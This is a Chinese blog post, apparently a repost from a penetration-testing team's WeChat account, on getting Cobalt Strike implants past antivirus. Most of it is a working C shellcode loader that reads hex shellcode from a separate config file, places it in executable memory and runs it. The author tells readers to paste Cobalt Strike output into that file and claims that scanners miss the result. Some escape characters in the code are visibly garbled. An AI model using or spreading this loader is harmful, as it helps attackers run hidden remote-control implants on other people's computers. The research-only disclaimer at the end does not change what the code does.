1.前言
好久没写了,水一水,都知道cs生成的stager的马其实就是一个loader,里面套了一层shellcode也就是cs payload generator生成的c代码里面的shellcode,运行它之后从远程服务器下载beacon运行,那很多做免杀的方式也都是对这个shellcode做,对他混淆啊,重写啊,加密啊等等的然后写一个shellcode loader运行shellcode,当然这样做倒是能过一下某绒,某卫士,但是还是有好多人过不了用各种语言写loader,加密shellcode啥的,那就给大家简单分享一个c写的加载器吧,shellcode也没做啥,代码是本地文件分离读取shellcode的,不分离吧也可以过一两分钟就死,改成远的吧也可以,能短时间正常上线执行什么的,但过一些时间就死了,至于什么原因大家可以想一想为什么,下面分享一下代码以及测试图。
2.代码及测试
2.1 Loader
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
typedef void(*Shellcode)();
int main() {
FILE* file = fopen("config.txt", "r");
if (file == NULL) {
printf("无法打开配置文件。n");
return 1;
}
// 读取Shellcode内容
char shellcode[4096] = { 0 };
if (fgets(shellcode, sizeof(shellcode), file) == NULL) {
printf("读取Shellcode失败。n");
fclose(file);
return 1;
}
// 关闭文件
fclose(file);
// 去除换行符
size_t shellcodeLen = strlen(shellcode);
if (shellcode[shellcodeLen - 1] == 'n') {
shellcode[shellcodeLen - 1] = '�';
}
// 将Shellcode转换为二进制形式
size_t shellcodeSize = shellcodeLen / 4;
unsigned char* shellcodeBytes = (unsigned char*)malloc(shellcodeSize);
if (shellcodeBytes == NULL) {
printf("内存分配失败。n");
return 1;
}
for (size_t i = 0; i < shellcodeSize; i++) {
sscanf(shellcode + (i * 4), "\x%2hhx", &shellcodeBytes[i]);
}
// 分配内存来存储Shellcode
LPVOID shellcodeMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (shellcodeMem == NULL) {
printf("无法为Shellcode分配内存。n");
free(shellcodeBytes);
return 1;
}
// 将Shellcode复制到分配的内存中
memcpy(shellcodeMem, shellcodeBytes, shellcodeSize);
// 执行Shellcode
Shellcode shellcodeFunc = (Shellcode)shellcodeMem;
shellcodeFunc();
// 释放内存
VirtualFree(shellcodeMem, 0, MEM_RELEASE);
free(shellcodeBytes);
return 0;
}
2.2 Shellcode
shellcode就直接用cs生成c代码把shellcode弄出来粘贴到文件里面就完了。
2.3 效果
扫描没发现问题。
运行几分钟后很稳。
Loader还行。
3.总结
有些东西很简单,不要想复杂了,多试几遍就知道某个杀软杀什么了,也能慢慢摸索他们的检测原理,内存啥的都一样,慢慢都想明白了就会感觉不难了只是说有些东西不好说太明白,但各种理论什么的都是开出来的,动动脑子想明白了在去实施效果更好。
原文始发于微信公众号(渗透安全团队):如何免杀上线CS | shellcode
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论